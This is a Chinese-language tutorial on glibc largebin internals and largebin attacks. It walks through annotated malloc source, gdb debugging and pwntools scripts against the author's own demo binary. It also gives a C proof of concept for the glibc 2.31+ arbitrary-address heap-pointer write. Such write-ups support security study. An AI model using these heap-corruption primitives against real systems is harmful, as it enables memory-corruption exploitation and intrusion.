Largebin介绍#
Largebin用来收容超过0x400大小以上的chunk(64位) 其是一个双向链表
一共可以容纳63个chunk 和fastbin等不同的是 其对于链表对应存储chunk的大小没有明确规定 而是一个范围
一共分为6组

Largebin中chunk的插入取出机制#
插入#
源码理解#
来看看glibc源码是如何逐步使得chunk插入到largebin链表中
/* place chunk in bin */
if (in_smallbin_range (size)) //如果是smallbin的大小就放到smallbin { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else //如果是largebin的大小,那么: { victim_index = largebin_index (size);//根据size获取对应的largebin索引 bck = bin_at (av, victim_index); //获取largebin表头 fwd = bck->fd; //获取对应索引largebin的第一个chunk(循环链表的head->next)
/* maintain large bins in sorted order */ if (fwd != bck) //当第一个不等于最后一个(即当前的largebin不空) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); //是否在main_arena?(主线程) if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))//bck->bk储存的是当前索引的largebin中大小最小的chunk,如果我们要插入的chunk比这个大小还小,那么就要插入largebin的尾部。 { fwd = bck; //fwd此时为largebin表头 bck = bck->bk; //bck设置为largebin中最后一个的chunk
victim->fd_nextsize = fwd->fd;//由于我们要插入的在末尾,比他小的就是循环回去的第一个chunk victim->bk_nextsize = fwd->fd->bk_nextsize;//比他大的就是之前的最小的那个
//原来链表的第一个chunk的bk指向此时新插入的最后一个chunk fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; }
// 如果不是插入尾部,那么我们要找到这个chunk应该插入的位置 else { assert (chunk_main_arena (fwd)); //使用这个while循环尝试从链表头部开始遍历,直到找到一个比victim大或等于的chunk退出while while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; //取下一个 assert (chunk_main_arena (fwd));//检查分配区 }
//如果找到了跟他想等的 if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd;//直接将victim插入他的后面(通过fd),不修改nextsize指针。
//如果大小不一样(即此时fwd是相邻的大于victim的chunk) //需要构造nextsize双向链表,构造新节点,victim作为堆头 else { //比victim小的指向fwd //比victim大的指向fwd的bk_nextsize(比fwd大的那个) //相当于插入了fwd与fwd->bk_nextsize之间 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//检查size链完整性 malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); //对应的去改fwd的相关指针成链 fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; //插入完成 }
bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); } } else victim->fd_nextsize = victim->bk_nextsize = victim;//此时victim为唯一的chunk,也要做循环链表 } //放到对应的 bin 中,构成 bk<-->victim<-->fwd。 mark_bin (av, victim_index); //标识bitmap victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;上述的源码注释来源自
[原创]Largebin attack总结-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)
以下是我自己对于这个过程的理解
1.释放一个chunk后 首先对其大小进行判断 区分到smallbin或者是largebin 这里不讨论smallbin的情况
2.根据当前chunk的size 来索引对应的index 并且获得两个位于链表中chunk的指针 fwd指向链表头 也就是最大的chunk
bck指向最小的chunk
3.对于fwd和bck进行判断 如果二者相等 那么此时链表中就为空 直接将chunk放置为链表头 如果二者不相同 那么链表不为空 分为两种情况 如果chunk的size不是当前链表中最小的 从链表头开始 根据fd_nextsize指针来从大到小依次对比链表中原有的chunk大小和要插入的chunk大小 如果没有找到 那么就在对应合适的位置将当前chunk置为对应的链表头 其fd_nextsize和bk_nextsize各自指向对应的链表 如果找到了 就接入对应链表中 fd_nextsize和bk_nextsize为0
4.如果当前chunk的size是当前链表中最小的 那么就直接放置到链表末尾 如果作为链表头 fd_nextsize指向最大的chunk的链表头 构成一个循环 bk_nextsize指向比当前链表更大一点的链表 如果链表尾的大小与要插入的chunk大小一致 那么就接在对应链表中
调试#
接下来我们来调试一番
调试环境

add(0x410,b'aaaa')#0add(0x10,b'aaaa')#1delete(0)debug()chunk1用来防止chunk0释放以后和top chunk合并
此时chunk0释放以后优先进入unsortedbin

要使得重新分配unsortedbin中的chunk 就需要我们申请一个超过unsortedbin中所有chunk大小的堆块 这样就会把unsortedbin中所有的chunk分配到largebin或者smallbin中
否则则将大小足够分配申请的chunk的free chunk分配出所需要的大小 其余unsortedbin中的chunk各自检验大小放入到largebin中
add(0x450,b'aaaa')add(0x10,b'aaaa')add(0x490,b'aaaa')add(0x10,b'aaaa')add(0x500,b'aaaa')add(0x10,b'aaaa')delete(0)delete(2)delete(4)add(0x460,b'aaaa')debug()
接着我们来看看双链表结构大概是一个什么样子
add(0x450,b'aaaa')add(0x10,b'aaaa')add(0x490,b'aaaa')add(0x10,b'aaaa')add(0x500,b'aaaa')add(0x10,b'aaaa')delete(0)delete(2)delete(4)add(0x550,b'aaaa')debug()申请三个大小足够放入到largebin的chunk 并且为了防止物理相邻合并用0x10大小的chunk隔开 最后申请一个大chunk将unsortedbin的chunk分配到largebin中 此时预期这三个chunk应该各自成为链表头

此时我们在原来的基础上再多申请一个0x450大小的chunk 不出意外应该是分配到0x440链表后


可以看到只有位于链表头的chunk的fd_nextsize和bk_nextsize才有值
具体的利用手法等下来讲吧 更进一步的调试可以自己尝试
取出#
源码理解#
/* If a large request, scan through the chunks of current bin in sorted order to find smallest that fits. Use the skip list for this. */ if (!in_smallbin_range (nb))//如果不在samllbin大小中 { bin = bin_at (av, idx); //找到申请的size对应的largebin链表
/* skip scan if empty or largest chunk is too small */ if ((victim = first (bin)) != bin && //此时victim为链表的第一个节点 (unsigned long) (victim->size) >= (unsigned long) (nb)) //第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size { //进入这里时,已经确定链表第一个节点——即最大的chunk大于要申请的size,那么我们就应该从这一条链中取,问题就是取这一条链上的哪一个? victim = victim->bk_nextsize; //本来victim是链中最大的那个,现在我们要从小往遍历,那么victim->bk_nextsize就循环回了链中最小的那个 while (((unsigned long) (size = chunksize (victim)) < (unsigned long) (nb))) //第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环 victim = victim->bk_nextsize;//victim取相邻的更大size的chunk
/* Avoid removing the first entry for a size so that the skip list does not have to be rerouted. */ if (victim != last (bin) && victim->size == victim->fd->size) //第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。 victim = victim->fd; //出现相同大小时堆头作为次优先申请
remainder_size = size - nb; unlink (av, victim, bck, fwd); //第四步,largebin unlink 操作
/* Exhaust */ if (remainder_size < MINSIZE) //第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户 { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; } /* Split */ else { remainder = chunk_at_offset (victim, nb); //第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted bin中(切割后)。
/* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av);//bck是ub头 fwd = bck->fd; //fwd是ub第一个chunk if (__glibc_unlikely (fwd->bk != bck)) { errstr = "malloc(): corrupted unsorted chunks"; goto errout; } remainder->bk = bck; remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; //以上操作完成后lastremainder被插入ub,成为新的链首元素 //如果不在smallbin范围,那么nextsize指针置空 if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; }
set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }可以总结为以下流程:
1.首先读取largebin中最大chunk的大小 与用户申请的大小对比 如果小于则另寻办法申请chunk 如果大于就进入下一步
2.根据bk_nextsize来索引最小的chunk 顺着fd_nextsize来寻找与申请大小最为接近的chunk
3.如果查找到了合适的free chunk 先判断其是否只有单一chunk位于链表头 如果链表中有其他chunk的话 则分配其他chunk 这样是为了节省重新分配fd_nextsize和bk_nextsize的麻烦
4.判断分配完了的free chunk 如果剩余的大小大于MINSIZE 那么就放入到unsortedbin中 如果剩余大小小于MINSIZE 则一并分配给用户
调试#
首先是我自己的第一个疑问 如何申请到单位不是MINSIZE的chunk 先来尝试一下手动修改size值 看看会不会按照预期效果分配chunk

将这一个chunk的size域从0x461修改为0x466 按照源代码的逻辑 此时申请一个0x410大小的chunk 剩下被分配到unsortedbin的chunk大小应该为0x40

失败了 看来是无法单单通过修改size域来实现预期效果
到这里转念一想 64位构成一个chunk最起码也要0x20字节 毕竟还需要size域和prev_size域 也就是说如果此时largebin中有一个0x460的free chunk 我们申请一个0x450的chunk 显然会剩下0x10字节 小于MINSIZE 那么按照逻辑 就应该一起给了用户申请的chunk

可以看到确实是这样
漏洞利用#
修改bk_nextsize来造成overlap#
漏洞的原理在于将chunk从largebin中取出的时候 其是从最小的chunk开始索引 以此找到适合的free chunk用来分配
if ((victim = first (bin)) != bin && (unsigned long) (victim->size) >= (unsigned long) (nb)) //判断链表的第一个结点,即最大的chunk是否大于要申请的size { victim = victim->bk_nextsize; while (((unsigned long) (size = chunksize (victim)) < (unsigned long) (nb))) victim = victim->bk_nextsize; //漏洞点,伪造bk_nextsize
if (victim != last (bin) && victim->size == victim->fd->size) victim = victim->fd;
remainder_size = size - nb; unlink (av, victim, bck, fwd);
... return p;关键点在于victim = victim->bk_nextsize这一句 如果我们修改了victim的bk_nextsize域 再构造一个fake chunk 就可以申请到fake chunk
通常这一做法被用来构造overlap chunk 接下来详细分析一下
环境: libc2.23
漏洞目的<实现overlap>实现overlap> chunk
漏洞需求<拥有向largebin中释放堆块的能力>拥有向largebin中释放堆块的能力> 能够泄露出堆地址 拥有堆溢出
演示二进制程序<由笔者自己编写>由笔者自己编写> 基本所有漏洞都有
首先我们需要先泄露libc基址 在没有UAF的前提下 我们可以通过申请两个chunk 将其释放到fastbin中 此时后释放的chunk位于链表头 其fd指向先释放的chunk 由于malloc函数在申请chunk的后并不会对chunk的内容进行清空 所以我们可以再次申请同样大小的chunk 将链表头的chunk申请出来 随后打印出chunk的内容 也就是泄露基址
add(0x10,b'aaaa')#0add(0x10,b'aaaa')#1delete(1)delete(0)add(0x10,b'1')#2show(2)io.recv()heap_addr = u64(io.recv(4).ljust(8,b'\x00'))-0x31success(hex(heap_addr))add(0x10,b'aaaa')#3 把还在fastbin中的chunk1申请回来 理论上应该不影响 但是在之前chunk extend的时候有影响 所以还是申请出来为妙我们一共需要两个chunk 下面我们分别称这些chunk为chunkA B
chunkA是要放入到largebin中的 并且其要为largebin中最大的chunk 这样修改chunkA的bk_nextsize域才能索引到fake chunk
chunkB则是用来构造fake chunk的
在学习unlink的时候 当时的unlink可以做到任意地址申请 因为最后chunk的ptr和fd、bk域有关
largebin的unlink则是用来申请一个正在使用的chunk 从而导致overlap 为此我们只需要绕过一个判断即可
if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr ("corrupted double-linked list");我们需要使得 fake chunk的fd域或者是bk域指向的地址 以此地址为chunk首地址 其bk域和fd域相应的存放fake chunk的首地址

此时的chunkB的内部构造应该是这个样子 这里之所以在fake_nextsize域后还要再加上fakechunk的首地址 就是为了绕过unlink检查
这里的fakechunk首地址放到哪里都行 只需要修改fd或者bk域 就比如图中的情况来说 我们需要保证这个值+0x20以后的地址存放着fakechunk的首地址 也就是我们需要填入chunkB+0x28 由于unlink的判断只需要满足一个就行 所以图中的构造其实是多余的
还需要注意的是nextsize域需要设置为0 因为如果nextsize域有值 plmalloc就会去申请下一个堆块 而非链表头的堆
bss_addr = 0x602200add(0x10,b'aaaa')#0add(0x10,b'aaaa')#1delete(1)delete(0)add(0x10,b'1')#2show(2)io.recv()heap_addr = u64(io.recv(4).ljust(8,b'\x00'))-0x31success(hex(heap_addr))add(0x10,b'aaaa')#3add(0x470,b'aaaa')#4add(0x20,b'aaaa')#5delete(4)add(0x480,b'aaaa')#6chunkB_addr = heap_addr +0x4f0success("chunkB_addr :"+hex(chunkB_addr))payload = cyclic(0x18)+p64(0x481)+p64(0)*3+p64(chunkB_addr+0x10)edit(3,len(payload),payload)payload = cyclic(0x28)+p64(0x491)payload1 = p64(0)+p64(0x481)+p64(chunkB_addr+0x40-0x18)+p64(chunkB_addr+0x40-0x10)+p64(0)*2+p64(chunkB_addr+0x10)*2payload1 = payload1.ljust(0x480,b'\x00')payload = payload+payload1edit(5,len(payload),payload)# payload = p64(chunkB_addr+0x10)*2# bss_write(bss_addr,payload)add(0x470,b'aaaa')#8debug()代码中注释的部分是bss段上构造双向链表 不过感觉正常的题不会给这个机会 也就我自己编写的题会给一个bss_write函数了
修改bk域和bk_nextsize域实现任意地址写堆地址#
这种利用手法的意义在于 fastbin对于申请出来的chunk的大小和对应链表有检测 如果利用这个的话 就可以绕过这个检测
利用的关键在于源码中的这两处地方
victim->bk_nextsize = fwd->bk_nextsize; #1victim->bk_nextsize->fd_nextsize = victim;
fwd->bk = victim; #2第一句 此时的victim指向的是要放入largebin的chunk 其bk_nextsize域的值由fwd的bk_nextsize域决定
而victim的bk_nextsize指向的地址的fd_nextsize域会存入victim的地址 所以如果我们修改fwd的bk_nextsize域 就可以做到堆地址写
第二句 fwd的bk域指向的地址会存入victim的地址 这里同样可以利用
所以我们只需要修改已经位于largebin中的一个chunk的bk域和bk_nextsize域 同时释放一个size大于其的chunk进入largebin 就可以利用漏洞
bss_addr = 0x602200add(0x400,b'aaaa')#0add(0x10,b'aaaa')#1delete(0)add(0x410,b'aaaa')#2add(0x410,b'aaaa')#3payload = p64(0)+p64(bss_addr)+p64(0)+p64(bss_addr)edit(0,len(payload),payload)delete(2)add(0x430,b'aaaa')#4debug()之所以chunk3的大小要同为可以被释放进largebin 是因为防止过小从chunk0中分配 导致chunk0被放入到unsortedbin 调大chunk0的值同样可行
chunk4的目的在于将chunk2放入到largebin

此时的bss_addr内容如图所示 以0x602200为首地址 两字长后为bk域 是fwd->bk = victim的效果 也就是如果我们修改fwd的bk域 那么任意写的地址在于ptr_addr + 0x10
bk_nextsize的值则是victim->bk_nextsize->fd_nextsize = victim的效果 也就是我们修改fwd的bk_nextsize域 任意写的地址在于ptr_addr + 0x20
largebin的利用在高版本中还是比较常见的 许多house of系列就是基于largebin的 需要好好掌握
2.31以上漏洞利用#
2.31对于largebin的检查做了一些增强 虽然还是能够largebinattack 往任意地址写堆地址 但是攻击效果没有那么强大了
新版本针对largebin 新增了两个检查 导致我们原本的方法行不通了
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");但是还是有办法 原本我们利用的是比largebin中大的chunk放入largebin 引起的那些操作 与之相对的 还有小chunk放入largebin中的操作 不过只能往一个地址写入堆地址 相比之攻击效果不够强大 所以一开始没有使用
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}上面就是我们要利用的代码 直接跟着我来源码调试吧 这样就清楚了
我写的POC:
#include<stdio.h>#include<malloc.h>int main(){ setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); puts("make by chen"); char test_array[0x20]; size_t *p1 = malloc(0x460); //largebin malloc(0x10); //to separate size_t *p2 = malloc(0x450); //unsortedbin malloc(0x450); //to separate free(p1); malloc(0x470); //Release p1 into largebin free(p2); //Release p2 into unsortedbin *(p1+3) = test_array-0x20; malloc(0x470); //Release p2 into largebin}
申请四个chunk chunk1和4用来防止合并 接着释放chunk0 随后申请一个大chunk 把chunk0放入到largebin中 并且把chunk2也放入到unsortedbin中

接着我们需要伪造chunk0的bk_nextsize 将其修改为ptr_addr-0x20 然后把chunk2释放到largebin中
s进入malloc函数 接着n到int_malloc函数 再次s进入

断点打在这三行源代码所在的行数 我所用的源码是3846 然后c到这里即可

此时的victim->fd_nextsize即chunk2的fd_nextsize域 fwd->fd指向chunk0
执行完这步后 chunk2的fd_nextsize域写入chunk0的地址

下一句相当于 chunk2的bk_nextsize域写入chunk0的bk_nextsize域内容
接下来一句就是我们任意写的关键了
往chunk0的bk_nextsize域 以及chunk2的bk_nextsize的fd_nextsize域写入chunk2地址 但是前一句 已经修改了chunk2的bk_nextsize域为chunk0的bk_nextsize域 所以此时是往我们修改的Ptr_addr+0x20写入chunk2地址
